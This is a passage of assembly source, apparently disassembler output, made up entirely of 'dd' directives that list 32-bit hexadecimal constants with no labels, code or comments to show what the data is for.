		dd 0EDD129Dh, 0DFE37C0h, 0A332D7C7h, 0BBB91D7Dh, 0E0442DE5h
		dd 5B3F41EAh, 1134CBD0h, 3EC12FACh, 3257C659h, 0E080A578h
		dd 5B746198h, 53284EFBh, 0B9EC85E0h, 0ECB96EAAh, 6A49D447h
		dd 606C5454h, 0CE836B85h, 7096F179h, 3D1E7344h,	812E581Ch
		dd 98CFB38h, 0C0543834h, 1263D99Eh, 0D20D17F6h,	77380466h
		dd 17FCB868h, 0B467969Ah, 0C8B165E8h, 84A16F8Ch, 8A1DF807h
		dd 6B889D02h, 5C45C889h, 10B8A458h, 0D9538947h,	60FC6A00h
		dd 27289EC6h, 3BEB8400h, 0EA9DBE76h, 0C49F0E43h, 4AC1B2DEh
		dd 2A5CB544h, 0F2B06077h, 0B039715Eh, 0B47B07A0h, 1EABE3h
		dd 0B293B33Ah, 1E9FD89Fh, 1EB5FCFDh, 7C1B8F98h,	8BB61400h
		dd 160F20D2h, 0DDE8CB75h, 287681C3h, 0BBEF8010h, 87193EDEh
		dd 6D0B8A05h, 0A210C588h, 0A5B02130h, 0F0E37868h, 4B6BCF03h
		dd 0A9B1E503h, 35707986h, 94D750F4h, 3951640Eh,	0B0C0F848h
		dd 3FF213EBh, 0CE004CC2h, 8204DE85h, 210092BAh,	0CB903E0Ah
		dd 2A4C128Fh, 1C8883h, 0A997FE0Dh, 0CC4BFC1Ch, 7A9E8B13h
		dd 305AC0A2h, 0DE4D94A0h, 18E99300h, 0EF3D069Eh, 0F7B5005Ah
		dd 0B72575F5h, 0CF051ADDh, 2E7D9B32h, 5284C8h, 689D50F1h
		dd 647076ACh, 0D3B3C600h, 747C813Ah, 166E070Ah,	204B0CD0h
		dd 0F8323E6Ah, 8552F003h, 0E8FCDD27h, 39923C77h, 3A811CD9h
		dd 534493F1h, 787463D6h, 7D17488h, 9A207836h, 5146D740h
		dd 0F8A09B52h, 100E75EDh, 1CA973E6h, 4E7A41C2h,	1378DC40h
		dd 6A0A4FBh, 0F714FE00h, 0B053863Dh, 0FD30F8Eh,	0C7E593A0h
		dd 52DD81E9h, 4838AC44h, 5008DB93h, 48C0A5C9h, 7825E373h
		dd 9868893Dh, 36AF0F8h,	492A9F55h, 0C693B9D8h, 25700400h
		dd 69168643h, 92CD051Bh, 0D08D7110h, 0BA61845Ch, 2635F922h
		dd 0A5387C1Eh, 10428849h, 58ECB0h, 0ED050B0Dh, 0C070A9DAh
		dd 3A2AE301h, 0BCD4CF5Dh
		dd 209FA140h, 10CB4C45h, 0F8847F89h, 629C88B3h,	1D6C8588h
		dd 1C465CA1h, 9EB44076h, 0D5A49C96h, 2FE64814h,	5C2701DCh
		dd 14F13178h, 0C3310875h, 1F4D020h, 0FE96953Bh,	2293E0CBh
		dd 16047E98h, 4FD444E4h, 212FACE5h, 0F0378D58h,	0DD0031C3h
		dd 48A008B2h, 0EA4956Fh, 0E679C488h, 0E5FE3B03h, 806DF087h
		dd 8494F672h, 2E201825h, 2DB09423h, 8B5F4B1h, 0A91900E9h
		dd 0B381E471h, 4A00D128h, 0F9528CB0h, 2590B42Ch, 10504B6Ch
		dd 1F500B50h, 0D6BB4F00h, 7AE82934h, 44883A0Eh,	0E9D0600Fh
		dd 444E941Dh, 799A130Eh, 0F295E684h, 4C6900E4h,	165B9E85h
		dd 0DAD0083h, 24C8EAF4h, 3D489F92h, 0D40E2C88h,	71032042h
		dd 770D00FCh, 0C847A1F6h, 4A894D04h, 0E08351FDh, 0A767B053h
		dd 1750E493h, 83C6C9h, 32D37DE8h, 8002415Fh, 3A965DB1h
		dd 0FFC8406Ah, 4735352Ah, 0A27E0CF0h, 70F2818h,	80F4020Ch
		dd 47DC85E1h, 1DEE0E6Ch, 3C00FD89h, 0B2AD4B08h,	9C987379h
		dd 625CF700h, 72B5D38h,	26714F9Dh, 5A007000h, 9970F45Ch
		dd 84EAE8h, 0A93A22C7h,	801FB924h, 224CC25Ch, 0D810BF40h
		dd 0BB0F84F4h, 401C3A0Ah, 0B13C161h, 852FF7B0h,	3C7488B8h
		dd 26E877ECh, 0BA7B300h, 9F1A8953h, 4ED60522h, 4BB2828Dh
		dd 0C847508h, 7FED40EFh, 252C29Ch, 64D2200Dh, 14786E46h
		dd 0A8E29B2Ch, 0AC392940h, 18947535h, 196BC5BCh, 724D9DF3h
		dd 0D4179228h, 6D8090E2h, 0BD748272h, 0ECA9E207h, 1551D2DDh
		dd 253BCCEFh, 34A238h, 0FE34AEDBh, 955F78ADh, 0FF2D1814h
		dd 6C846A21h, 22704398h, 6E1D00D8h, 0A1CFE7FBh,	0D71CC785h
		dd 98295F8h, 54ED75C5h,	2B3B05E0h, 161CC199h, 43D500E6h
		dd 4C209540h, 0F2F01B3h, 0C91CA0BFh, 7D7C26Ch, 71FA45B0h
		dd 0AF9F306Bh, 36754BF9h, 19724200h, 576013A1h,	0F8B3001Fh
		dd 265A68EBh, 985E01CBh, 1DC8C8h, 30DF84E0h, 1C061B95h
		dd 0DA0000BDh, 653C31h,	42788913h, 0D2B3DC04h, 1080932Fh
		dd 1FAC1D0h, 0F7EEE49h,	609C17A5h, 5A5344B0h, 7C92808Ch
		dd 0B84920B5h, 3C7600B7h, 4D0D95Dh, 6E008553h, 772A5933h
		dd 0E69A9824h, 0F33B127Fh, 0B6B48093h, 74251930h, 0F90C9087h
		dd 31CDFE45h, 52A81FE5h, 92A0C404h, 0B20FE17Eh,	0C081F290h
		dd 0B5FFFD39h, 83D40098h, 104B8657h, 0F700855Eh, 1106CE02h
		dd 0B8872B4Fh, 34B1C10Ch, 0D8BCB3BBh, 0EA7185E7h, 3D801A3Ch
		dd 0E88B800Dh, 4AF82176h, 51B50119h, 8291138Ch,	977830BBh
		dd 0E151C09Fh, 90E07610h, 2ADC1854h, 0EA43B93Eh, 9789F000h
		dd 0DDE6B735h, 961300F1h, 1C46D25Dh, 0E000F994h, 0DBBDD51Fh
		dd 27FF7297h, 74610686h, 227E00B5h, 942490B9h, 62EB50D0h
		dd 99E45700h, 0EC5E010Bh, 20CC5B82h, 861277DCh,	16BB0800h
		dd 0B0E04962h, 91A30FC0h, 0B9B275E3h, 6DA4009Ch, 98A8922Ah
		dd 7FF28Bh, 44D28AB0h, 0CE2DB670h, 80159B3Ah, 2BEFBBDFh
		dd 0FA08FD5Ch, 4632008Fh, 0B54B6148h, 553DFF0Fh, 40E305FAh
		dd 0F8BC9DF5h, 9A807E80h, 3735904h, 71BE4Ch, 5E871D30h
		dd 1AE225C7h, 0B821B043h, 0DFC080F4h, 774F7A04h, 1048027Ch
		dd 65422577h, 0E0522AE0h, 0F773C975h, 1DB68500h, 434C472Eh
		dd 0E27B00C8h, 3645C242h, 0D27F38Bh, 37704154h,	45A87C6Bh
		dd 923BEBE8h, 4089A658h, 266F1B00h, 2D70815Bh, 8C4C3147h
		dd 0FB4044h, 21D42609h,	34960EFEh, 1C04C100h, 79C5A60Ch
		dd 93AC0111h, 9023E87Bh, 2B3431DEh, 10B2F422h, 9C1F1A72h
		dd 6B805C17h, 1E7C06E2h, 6490B79Fh, 1497C4C5h, 130D0088h
		dd 0DCB2E110h, 1096AB89h, 0A8818792h, 0AC5845D4h, 76ED099Ch
		dd 0DC58D371h, 63A0919Fh, 0E2E37CCh, 0FEF88B7Dh, 39B660C0h
		dd 0B7024830h, 7378A2C3h, 4070F4B8h, 0B35CECF0h, 6F75B103h
		dd 88FF9BA9h, 693937h, 7A8B1CB8h, 0E5CB2BB5h, 118F5200h
		dd 7677BEDAh, 0C3300F12h, 0FF80EB46h, 0A5B9843h, 96398AFAh
		dd 0DC037C1Bh, 0F572769Fh, 3B50A049h, 0EE8102E1h, 0D4B84BE8h
		dd 3C205160h, 0B8CC535Eh, 0B031113Fh, 8C844AF7h, 0EE803CF8h
		dd 0B4E6D33Dh, 0B8F6A23Dh, 0B574801Bh, 9BD06A9h, 0B0D110EFh
		dd 418A09B9h, 280FB3Fh,	0DEFB67DFh, 1E3B000Fh, 0EA5F85h
		dd 113E907Bh, 0DA172380h, 7F742407h, 6C345E29h,	938828E0h
		dd 4C480920h, 86048C59h, 0D241CF7Bh, 272F708Ch,	71930038h
		dd 0C86232B4h, 246D0EC5h, 9600BA73h, 4A97B77Eh,	3322A70Fh
		dd 654527B3h, 148062A5h, 7DA6D72Ch, 849821h, 47FD2277h
		dd 0E25B7BCDh, 0BFA814Ch, 199E966Ah, 0B8DBB51Ch, 3FD360h
		dd 0B86B1452h, 53357A3Bh, 2CF4A4A2h, 90E2710Bh,	83F548h
		dd 8E7B81AEh, 4F54AFADh, 0DBB74D00h, 0BF9EB9FDh, 0E2492575h
		dd 90B41820h, 0D7176026h, 0E8008B12h, 996BDCC8h, 6C1C1334h
		dd 3538D270h, 0F8609357h, 0E7A1C4h, 4148FE52h, 0D57522EBh
		dd 36634E10h, 0EA9C9306h, 0FB0D5010h, 208D1F6Bh, 6A2E11F2h
		dd 0C0AF604Eh, 5DFAEA1Ah, 52920330h, 731D3684h,	5144B698h
		dd 12F67B22h, 0EC90C899h, 9471C068h, 516E9Bh, 0D4E31443h
		dd 0FB682A1h, 8588A81Fh, 966B7FC0h, 12C597F7h, 0F4D30877h
		dd 0F5444FB0h, 0E61330A3h, 2FE4FAF8h, 7CB04512h, 6CE90C41h
		dd 0C5F0EA22h, 0D1C0347Ah, 1420AB41h, 1622B489h, 86ADCFh
		dd 1138F458h, 969D4FD5h, 30725B24h, 0F2292660h,	6203BB00h
		dd 8B0F1E65h, 3778092Dh, 8100881Bh, 0BBA618EAh,	10B538BAh
		dd 137E9088h, 57384F9h,	0EF8B530h, 9CC24008h, 0C87C4DD4h
		dd 39B00E9Dh, 1205E2Ch,	0D969EB42h, 8063573Ah, 1B6BD560h
		dd 0D19AABh, 519E8CE0h,	1D36688h, 0C7451013h, 9C847424h
		dd 0B1D5648Dh, 0D228AC41h, 78574801h, 8B6F89FCh, 442071D8h
		dd 1F4D0178h, 207A85D0h, 0D3C12940h, 0B004070h,	25DF86E1h
		dd 89F7F1h, 8C19C939h, 8FF230C6h, 0E1529800h, 61E9D0C5h
		dd 591B166Eh, 5C50B6D6h, 0D42AC4BCh, 43DD1440h,	0B402862Bh
		dd 0D61D5C9Ah, 20EC2D7h, 53D2D3CCh, 380F0030h, 7A570BBBh
		dd 1A5F500h, 728B25FEh,	2613024Bh, 931F7789h, 8C13DCC2h
		dd 0F28882A0h, 4E2DDE17h, 0C0ECC8C8h, 0AE766B21h, 0B7907A60h
		dd 0A4B14B0Fh, 0D28B6B0Bh, 0C8CC5B2Ch, 0F960E378h, 39EEE39h
		dd 2B261405h, 4D88C88Ah, 0FCAADE42h, 0C6588BB0h, 44DE6492h
		dd 0C80ABF3Ah, 2E9709AEh, 9C385B2Ah, 0AEE40175h, 0C8C359DDh
		dd 0F50E3A7Bh, 819E44DCh, 0B6975467h, 3B0430h, 168B3DC0h
		dd 0F7E3924Ch, 5D0FA5E0h, 0E9D25258h, 0F69480DFh, 3A17996h
		dd 8301E72Eh, 0E0C99710h, 0CC8820AEh, 34308589h, 0E6580426h
		dd 0B556C895h, 0C053B18h, 9BC0EB8Ch, 185CE252h,	424F72D4h
		dd 949ED54Eh, 9D404D44h, 2DF1BD2Fh, 47F6AC00h, 736A172Bh
		dd 41B1018Dh, 437295DCh, 17743DAAh, 3CCDE53Bh, 4400E833h
		dd 300EC2FBh, 0AB007C4Eh, 959F011Dh, 1DDC4B84h,	0C0B318E1h
		dd 9415899Ch, 19F86C03h, 0E8C71DF4h, 0F491EB70h, 222F6BE0h
		dd 0EC76F538h, 234F433Ah, 13C875E0h, 0DC09369Dh, 91FF7358h
		dd 441198ACh, 77C423C9h, 5DB0084h, 0CBB94280h, 6C1410DEh
		dd 0AA08B28h, 0A4BCF47Dh, 0FD7F003Ah, 7BB8295h,	8AF30183h
		dd 8B654B0Eh, 0CB9DC003h, 0DC1BE91Dh, 0E413007Ah, 44247385h
		dd 97DF0422h, 0E27E8131h, 14D7004Ch, 46EC5280h,	51C62FE1h
		dd 1319F869h, 0C4C7BA6Ah
		dd 0F25B03A8h, 347429Dh, 2A2593E1h, 0F9DE50C2h,	0E1400B8h
		dd 9194C0FFh, 0D220A803h, 21E12596h, 0E580F228h, 0F7601EEDh
		dd 18FB1DB3h, 88F5397h,	93808944h, 6DFE12A8h, 95FF0C2Ch
		dd 792098F7h, 0F6625499h, 61FC668Ch, 36DE69B6h,	0EAD0B9AEh
		dd 0F261C429h, 0E1CBD410h, 5888F0F7h, 3B04D01Eh, 0EF40D8FBh
		dd 3F49DB79h, 66D7A200h, 4818901Ch, 8E4B00BBh, 923E4F96h
		dd 0F5052426h, 0F40A4E43h, 44869C40h, 257FFA9Ch, 0CCD3E3C8h
		dd 7B6BECA8h, 0FB540071h, 0B8A3670h, 275FEA6Ah,	6C066400h
		dd 2301A81Ah, 9B8CEF5Ah, 0EC30E231h, 0C4B0271h,	2A580139h
		dd 82AAC484h, 0DD2022C8h, 0B4C7B2h, 0C343626h, 0DA25A037h
		dd 9F1B3F0Eh, 9EAE741h,	45138DE0h, 0E4D848AFh, 42A6DFh
		dd 0CEECABB3h, 2E5A96C5h, 9C81B827h, 0C0267376h, 41A7931Eh
		dd 0C53EB686h, 0AC207E6Fh, 0EC96829Ch, 5EC0EEC6h, 8B58C464h
		dd 0E27400E8h, 30060548h, 86DA0084h, 81F7572Bh,	71FE93CCh
		dd 8C00700h, 482EB46Ch,	0F57972h, 5D3CAA22h, 0B8BCEC6h
		dd 2F253500h, 6D7D504h,	0D32B0079h, 0DCF4A127h,	35035332h
		dd 3EACC292h, 5FE83C72h, 0B7E94B00h, 9351F013h,	4A049048h
		dd 13EA80C9h, 3CB543B8h, 3CA8B1D2h, 0C13FFF82h,	48529D40h
		dd 0CEA65Ch, 8D2FB241h,	125C8CEEh, 0A9B8AB62h, 57CE132Ch
		dd 437C5803h, 0DE2E8ACDh, 7A62CFFCh, 0D4782BC6h, 0B5C35622h
		dd 0CA4CB402h, 0ECD26B25h, 0F20C7C1Bh, 103FAC41h, 0F8A6D9B8h
		dd 840301C5h, 0DBE33D7Eh, 5351D85Ch, 713BE10Fh,	7995417Fh
		dd 5028395Dh, 68C8AA8Bh, 9E03B1CBh, 4EA247EAh, 4DA92D30h
		dd 7E002814h, 49AB1C27h, 496DD03h, 0ACFBC221h, 8023AEC3h
		dd 408A8035h, 0FD8738B8h, 0E41402F3h, 78C57269h, 0CC0094E4h
		dd 9324BFE1h, 5943CEh, 37C98230h, 0A31F2DD0h, 47647D1Dh
		dd 0E7530780h, 0E0F99C9Bh, 71978DDh, 76328EFFh,	0D72A21D0h
		dd 3BAB30BDh, 4481E20Bh, 10847156h, 0B937846Ch,	18A35484h
		dd 0C8966B13h, 0F00051E8h, 0B726D774h, 1151199h, 7F7A7280h
		dd 6031CF2Fh, 38BF48E8h, 0DC8A58h, 0FC9B6D8h, 5D138B1Dh
		dd 86D29E05h, 30E2A774h, 0C71C9903h, 0EBF34E17h, 0BE249DF8h
		dd 0DD41D900h, 0AB068122h, 5043001Bh, 7677031Eh, 0C600E893h
		dd 7E82D329h, 2E1130h, 0CA42E758h, 62E9D52Ah, 0D1FDD61Eh
		dd 283CF825h, 380DF6h, 663E4610h, 53624B95h, 0DBAA8200h
		dd 0F6FE85Bh, 0F86752EAh, 53223F22h, 0D1F62DCBh, 8FDC3410h
		dd 7D3B601Eh, 1FE00E40h, 1EFF91Eh, 798A222Dh, 0C02639FBh
		dd 945FFA3Bh, 0B054C423h, 0B8C30DFh, 0EB67DBA7h, 216B80D9h
		dd 90969548h, 0DC0B242Ch, 51ABB641h, 27434060h,	22D0D058h
		dd 24CC9DEFh, 721E4142h, 0A4504A5Ah, 0B34913D8h, 0B3010010h
		dd 708A27FDh, 0BA347896h, 0A7FF2464h, 0CC50081Ch, 9B4444Bh
		dd 0E30AFA92h, 7A770CA1h, 6C1B7BD1h, 0C4EBC328h, 4F573B00h
		dd 0B50B5A74h, 79B244CCh, 6F50F74h, 0A8165729h,	184AC00h
		dd 2B4D17B2h, 0DB4807F4h, 0D254CF86h, 0ACC44AD1h, 17EAFD01h
		dd 7793257Ah, 34C78041h, 0C07CEC14h, 9EA6C8C1h,	64D30048h
		dd 0F62D21E0h, 6024DE2h, 0B777ADA0h, 507943h, 0AFF8404Bh
		dd 160002C0h, 15886E66h, 2892A093h, 994808Fh, 6AFB2B9Fh
		dd 4B6FF482h, 7BA40929h, 0DBBF0650h, 0F63E28F9h, 0A265258Eh
		dd 42FBBDE8h, 8658F96Dh, 2160733Eh, 89BC4D5Ch, 8178F188h
		dd 0AEEA8D76h, 90617BA7h, 223B6DC5h, 0F5105238h, 0D8922CA9h
		dd 0CDA18A60h, 7BE207F0h, 5FE4804Eh, 0E0973246h, 84D9CB50h
		dd 4B784A46h, 0AAA42243h, 0F5F2C499h, 2F062B2h,	95E0416Fh
		dd 7B244071h, 0A8DD62B6h, 4123C865h, 0D844CD04h, 0F05A3DB0h
		dd 714945Dh, 4379E7A4h,	7220907Fh, 0D0C4EB82h, 27171E6Ah
		dd 30BE7080h, 3C0F1BBDh, 0A542C1F5h, 54A231CEh,	8AD8A200h
		dd 24C52890h, 0B86D8500h, 0B9EC55C9h, 15131F0Fh, 0B75641BFh
		dd 3EA19845h, 3A400C0h,	52921F33h, 72FA878Dh, 73E22E47h
		dd 0B0D9F9BAh, 0CF3A3800h, 1078B58h, 4A0C7015h,	6EF99380h
		dd 0D2FA1C40h, 4F8843Fh, 0B82B7640h, 8018ACFFh,	0E188EF5Dh
		dd 95C400A4h, 84FE248Dh, 391F5453h, 14805B45h, 483F7B97h
		dd 0E61F002Eh, 44100E4Bh, 0B60783BEh, 0BC808992h, 0B5DF23D0h
		dd 4B08A1FAh, 181489FEh, 0FAB36A60h, 49EB0636h,	0D06030A2h
		dd 0BC119896h, 95312300h, 5F0B2C82h, 7A71F203h,	0E0A6F4B2h
		dd 9008BF56h, 72CC0E28h, 1858B6CAh, 78608538h, 0C8DAF968h
		dd 1EA89898h, 42A5646Fh, 0B07A56C6h, 9DB290E0h,	0BB200100h
		dd 0E3938950h, 0E27CF8h, 8CB0AB9Ah, 0DB9F2ECEh,	0D26440C2h
		dd 0F59E01BBh, 0C40C04AEh, 7EC192Bh, 320E4994h,	5001FBE0h
		dd 84A41F79h, 97FF47A8h, 68779B00h, 0E80069F7h,	350E8B94h
		dd 0EC03CD22h, 188D7D51h, 0E8FC5F0Ah, 7084CAFAh, 32A244F4h
		dd 888CB43h, 0BA618004h, 62E1AA42h, 3E923700h, 92514738h
		dd 0A0545830h, 0B6DE0033h, 0CFE1807Bh, 6038952h, 0DDAAD99Eh
		dd 0F391B0ADh, 6010B577h, 0EB40E389h, 0E01600CAh, 5297ED79h
		dd 0D098F691h, 0CED94710h, 0B4EE7F02h, 0CC763BA6h, 0DE67CA00h
		dd 58711981h, 0B0598873h, 4E10D058h, 80C638D3h,	0CC68A789h
		dd 0EF9807F5h, 20E61C20h, 611CA33Dh, 202983DDh,	30A66EE2h
		dd 409475C5h, 0F6214E44h, 1055C696h, 0B307D4h, 139D4B77h
		dd 9A8EB75Eh, 1BEFA205h, 9C84766Fh, 6DC0801Eh, 278A083Dh
		dd 47AC0BBBh, 0A4097F06h, 792B5CB1h, 5FAB00C0h,	12558262h
		dd 0AC8009A3h, 980DA41h, 2485CC7Ah, 2C00658h, 9EAF407Bh
		dd 0CA804072h, 20C841ADh, 440FAC74h, 896E93A4h,	418F696h
		dd 0FB66BF58h, 0B2ACD001h, 188CC6EEh, 7B786261h, 2B7CCA16h
		dd 1545B090h, 5A9409B9h, 58D65776h, 0B0524Bh, 0E5B91D0Ch
		dd 56EF02C8h, 0A0013EF5h, 0E82657DAh, 0DB963441h, 3306E906h
		dd 45C24F58h, 61F43F20h, 5A7CC4A0h, 194AEA30h, 9D3852C1h
		dd 0B0540C62h, 0E1FFD940h, 5909041Fh, 2078C5ACh, 3835298h
		dd 72A784D1h, 0F5B0AD96h, 3650C2C9h, 9100CCF4h,	8555EAE1h
		dd 23D23Bh, 6D9B4C1Eh, 8BBB8DB9h, 8427D000h, 9E109AB6h
		dd 82190005h, 0FD5DAD2Dh, 930048F2h, 0C4EFB39Fh, 1F7876Eh
		dd 0E41B0F99h, 0F1E1617Ah, 0AA768038h, 418F35D4h, 907C00D0h
		dd 110F3088h, 6500EB75h, 6FBE40C7h, 5548B7h, 2AF309E1h
		dd 2DB991A6h, 0F81C7DB0h, 5600F581h, 0F9459D06h, 9A493084h
		dd 0FF242519h, 0F348C61Ch, 0DA0F707h, 39E2B83h,	28348F20h
		dd 0AA00A20Ch, 6A086229h, 3043F404h, 8B1882C4h,	0AD1FF1FFh
		dd 900F7C2Ch, 0BE0A036Fh, 2D40C00Fh, 0E2740E7Dh, 0F52073A9h
		dd 4E06F8A0h, 0E4891301h, 84D3ACFh, 7802DB30h, 362003EBh
		dd 0F89DDA01h, 0C34BEE0h, 0E62218C1h, 8103CDFAh, 0EF7254F0h
		dd 689C4E35h, 0EB006785h, 51FD9FA6h, 64441840h,	0B479A087h
		dd 6080F564h, 0F04EBB43h, 50117100h, 0FCE7B7AEh, 0E4BE0FB4h
		dd 1C80EAF6h, 4978B674h, 853CF37Ch, 942F2A28h, 0E6E50826h
		dd 88C4AA0Bh, 0A002A48Fh, 0A17EEF71h, 0A790BF48h, 0C720EC08h
		dd 0BD770C17h, 48C8D049h, 0E8F06231h, 211B0B04h, 5E6AE27Eh
		dd 279EC0A0h, 3418427Ch, 0CF686F20h, 62F1C172h,	0BC958CF9h
		dd 0FC0452A9h, 0F46630E2h, 7EAE0810h, 0DF80BA60h, 18FE3570h
		dd 0A0B4AA29h, 627F58E2h
		dd 0A708F41Eh, 20032932h, 2B45E202h, 782D8BDh, 61F68BBCh
		dd 0B4F2032h, 0DE39E4C3h, 4AE00096h, 2D5F5E38h,	0E3D3131Ch
		dd 74B800BAh, 0C7E1570Ah, 2B2862Ch, 0E9D0AA00h,	1CF4AEh
		dd 252716Bh, 0ACA44744h, 4EE1D11Ch, 0B7FE4CC0h,	0F5EB93Fh
		dd 784BBE54h, 46E319EEh, 6AD860A0h, 9F00D58Fh, 8C2B77EBh
		dd 90ED0256h, 0F83E4B4h, 656BA81Ch, 0BA8E6880h,	0EE1EFE0Ch
		dd 8F80C7EDh, 84E20D0Bh, 90F950D3h, 0C5F00329h,	4EF64221h
		dd 0A79AFAF8h, 6453003h, 8836489Fh, 39E5C6Ah, 0CFDEA36Dh
		dd 1800B614h, 0D977675Eh, 24D5E16Eh, 142EABAh, 8DB680BDh
		dd 0B003D8FFh, 0AE8A1300h, 9A9173F6h, 19531FC0h, 2302C0F0h
		dd 0D29FB160h, 6783D900h, 26FE1A42h, 0B43C0040h, 0E22CF1BDh
		dd 4C4C2F9Bh, 473F040Ch, 0DBC065ADh, 7FE1FDh, 9412FE99h
		dd 3F9D53E6h, 0B9DA3302h, 40C86EC1h, 1C822258h,	0AA8B26h
		dd 962B9CD9h, 7E000F42h, 4A36B6Fh, 0F3AF5FEh, 0BD98AA01h
		dd 35FBCD80h, 86005A07h, 0B72A13C8h, 5A6E7DCh, 8A6F3912h
		dd 94E000CDh, 64D0CE09h, 9C0D5704h, 91C041DEh, 7380BCAh
		dd 62D31E2Fh, 0AE5153A8h, 7B8DE6C8h, 0BBFB2C0Ah, 540D07Ch
		dd 2E9E2h, 0C90CF001h, 0B3954CFAh, 0BB398B1Fh, 0FF0C554h
		dd 0E010B7E4h, 172EE72Ah, 7C860468h, 80803A0Fh,	0CD794478h
		dd 0CA53A600h, 0CBEE245Bh, 5FDA09D1h, 1880A259h, 0F8773D25h
		dd 0FA1F5D00h, 0E7EE0974h, 650C0008h, 0FD948164h, 67009517h
		dd 3E29DD99h, 0E42EC5h,	0C95DEACDh, 0C18A4A24h,	0A23F5000h
		dd 0EC15C067h, 0A713580Ah, 2CFB4F00h, 63C5F35Bh, 9A90440Ch
		dd 0C8940DBh, 82A9681Fh, 0E960CE5Ah, 560CB919h,	303B3E07h
		dd 0B08A6400h, 85801DC2h, 308E6C3Ah, 0A9AE2EF9h, 487E00D9h
		dd 0ACBFA5BCh, 0F802BD9Bh, 1F045589h, 37808083h, 125467h
		dd 0DFFEB0F2h, 6DE76487h, 208439h, 0CFE311E8h, 619B69h
		dd 6F30C553h, 4177D3ABh, 126DEA01h, 332B745Eh, 4003E0E7h
		dd 9BA10E4Bh, 7540AEE1h, 0E466BB8Ch, 0FEB8F917h, 0B400351Ch
		dd 5584E86Eh, 3CB14DFBh, 405C2E00h, 5A0C3618h, 0D7003DFCh
		dd 36D0ED6h, 4915E4h, 78AFCB71h, 9D39A90Fh, 18C62400h
		dd 0BB28BF31h, 9AFF01EAh, 0E817257Ah, 4BD5F01Fh, 0D488A060h
		dd 816CF9h, 162D8070h, 4F3FF898h, 2B267207h, 622056B5h
		dd 263DC489h, 81845402h, 57523858h, 644BE8C5h, 5C10A10Eh
		dd 2E72A088h, 0BA48C9h,	235AF245h, 0AC7AD553h, 0D379DA00h
		dd 0F2476E4h, 2FE4E8h, 0CD1BD667h, 1274C7E2h, 6EC8607h
		dd 6D20435Bh, 0B01F07h,	0ACB61982h, 185A46A5h, 770B3Bh
		dd 4EB359A9h, 4DDC5h, 5239FCFFh, 0D557F1E1h, 779BFB00h
		dd 22ED1626h, 9D3E445h,	496EEAADh, 59522C00h, 8207259Bh
		dd 28155101h, 73D0A730h, 208300FDh, 46301D7Dh, 0C005C72h
		dd 0F7532CD6h, 0FAAA6C8Dh, 848250A7h, 5DC60054h, 2BD9E456h
		dd 9C007DD5h, 28F04AA1h, 98867A32h, 88660058h, 0FFDCEF8Eh
		dd 983B7E18h, 13F50319h, 0F84D6391h, 2669F825h,	28A6BA8Dh
		dd 7A9D0064h, 6C9AA90Eh, 5F003403h, 98B2B7D1h, 0F47F7C2h
		dd 0A7751887h, 6E39A800h, 0E90A7EF4h, 0B8B21925h, 268E2100h
		dd 0F54AE5h, 7251AF4Fh,	0C5D22A62h, 0C0606E48h,	0B768703Ah
		dd 0A9671CDDh, 4B46674h, 801C328Ah, 0C48C391Ch,	112B3Bh
		dd 8D07A094h, 39F1E433h, 71019ADAh, 3E40A9ADh, 0B08CD85Fh
		dd 9DCEC0Fh, 851FE021h,	385D94h, 8FA33736h, 0AEDFA26Eh
		dd 4B48E272h, 0C0C105E7h, 0A8407283h, 0E5585D2Ch, 0E71F3918h
		dd 0B8756880h, 0F1E0BADEh, 482C0B00h, 0D3E89D8Bh, 894F85h
		dd 861D10D7h, 2300824Fh, 5EAEDBFAh, 76772F52h, 977B1EEAh
		dd 2C33C0C8h, 4C0AAFE4h, 89D1DA00h, 9D01AB0Dh, 2B4A00A4h
		dd 0CCC9202Eh, 140013AEh, 0CFD6B968h, 17ACCBh, 0EFDD36A9h
		dd 696F250Ah, 1F7F8000h, 0E5040943h, 1CF001BEh,	4A5A810Eh
		dd 95587052h, 0F48B0526h, 0A03D5060h, 0DEBE0069h, 21D3E21Eh
		dd 0AE2E0364h, 0BF8080C1h, 1608DCC2h, 0AF2B0090h, 2872D573h
		dd 50005738h, 7DF1054Ch, 0F666FA6h, 81757C7Fh, 2C5C17E0h
		dd 0A300723Ah, 0B04244CDh, 0D9D1CCh, 29E1789Bh,	360CF3EBh
		dd 6F0F2302h, 10F605A1h, 1D00C0F7h, 4C7DD21Fh, 10D594D9h
		dd 0FC9306Dh, 55DF927h,	0D01E046Eh, 1C00F11Eh, 15F3500Ch
		dd 0D7CB0019h, 0A8378EFCh, 472432CFh, 0C500BD02h, 46284066h
		dd 0FABD3EDBh, 0A0458D01h, 8019D4E0h, 0F4614849h, 0E9F718CFh
		dd 586F9180h, 0A32A110h, 0FD13CB00h, 7719296Dh,	94C954BEh
		dd 94C418F4h, 0EEAA41D9h, 0B4E0B200h, 0F9C1FB77h, 0C0A55C4Dh
		dd 0FD74C800h, 86E534A1h, 18007890h, 2CB0D0D5h,	882DEBh
		dd 4B415AE8h, 2A8B5DBDh, 3FBB1800h, 33EE421Dh, 4E271D84h
		dd 0D7BA4087h, 0D0800A37h, 0A91E7C00h, 0EBA3167Dh, 3CE9F022h
		dd 310089CDh, 5C60B019h, 32078733h, 39E1D349h, 0D2B64720h
		dd 0F46728B8h, 0B54803EFh, 0A1587882h, 973DC0C4h, 34003D5Ch
		dd 9DEB4415h, 0A0D85BD6h, 1BC7FDEh, 723818D4h, 0E4DAE322h
		dd 0B1FCA9ABh, 2BEF0200h, 3813247Dh, 331D0021h,	446DC643h
		dd 0F505F066h, 0A8EDCC3Ch, 994DF840h, 1B5FE76h,	0FD6090B0h
		dd 0C8E50355h, 100022ACh, 9F537811h, 74C1771Ah,	6F38C09Eh
		dd 0AEFED620h, 338C603h, 9879B0FCh, 7A93AC7h, 0D7211719h
		dd 0FA8A70C4h, 0C002FF02h, 88710BF3h, 8BEC490Ah, 39B6E470h
		dd 33892AE3h, 0FA81021Ch, 0D518AB36h, 5F4AF0EEh, 98A96A03h
		dd 0D001C4E5h, 7035D02h, 55DFF2E7h, 0AE22000Ch,	78000FB9h
		dd 0F92B38ABh, 266F80h,	8F401F2Fh, 1DCAAA79h, 0D72DC00h
		dd 0FE21AFE6h, 0BA760EFFh, 0B4C03DA5h, 0B51E34C4h, 0E839F400h
		dd 4304BB93h, 354B0112h, 0B8A973E4h, 8B5F0EBh, 0C49CF1F5h
		dd 0D100749Fh, 0C8ABCFF3h, 7F95291h, 37591E73h,	0D0C93D4h
		dd 690A10A6h, 0B076F77Ah, 8501A01h, 66D11B10h, 2D32180h
		dd 0A456E4F8h, 469FE00h, 92918794h, 70096CB5h, 2B0D8929h
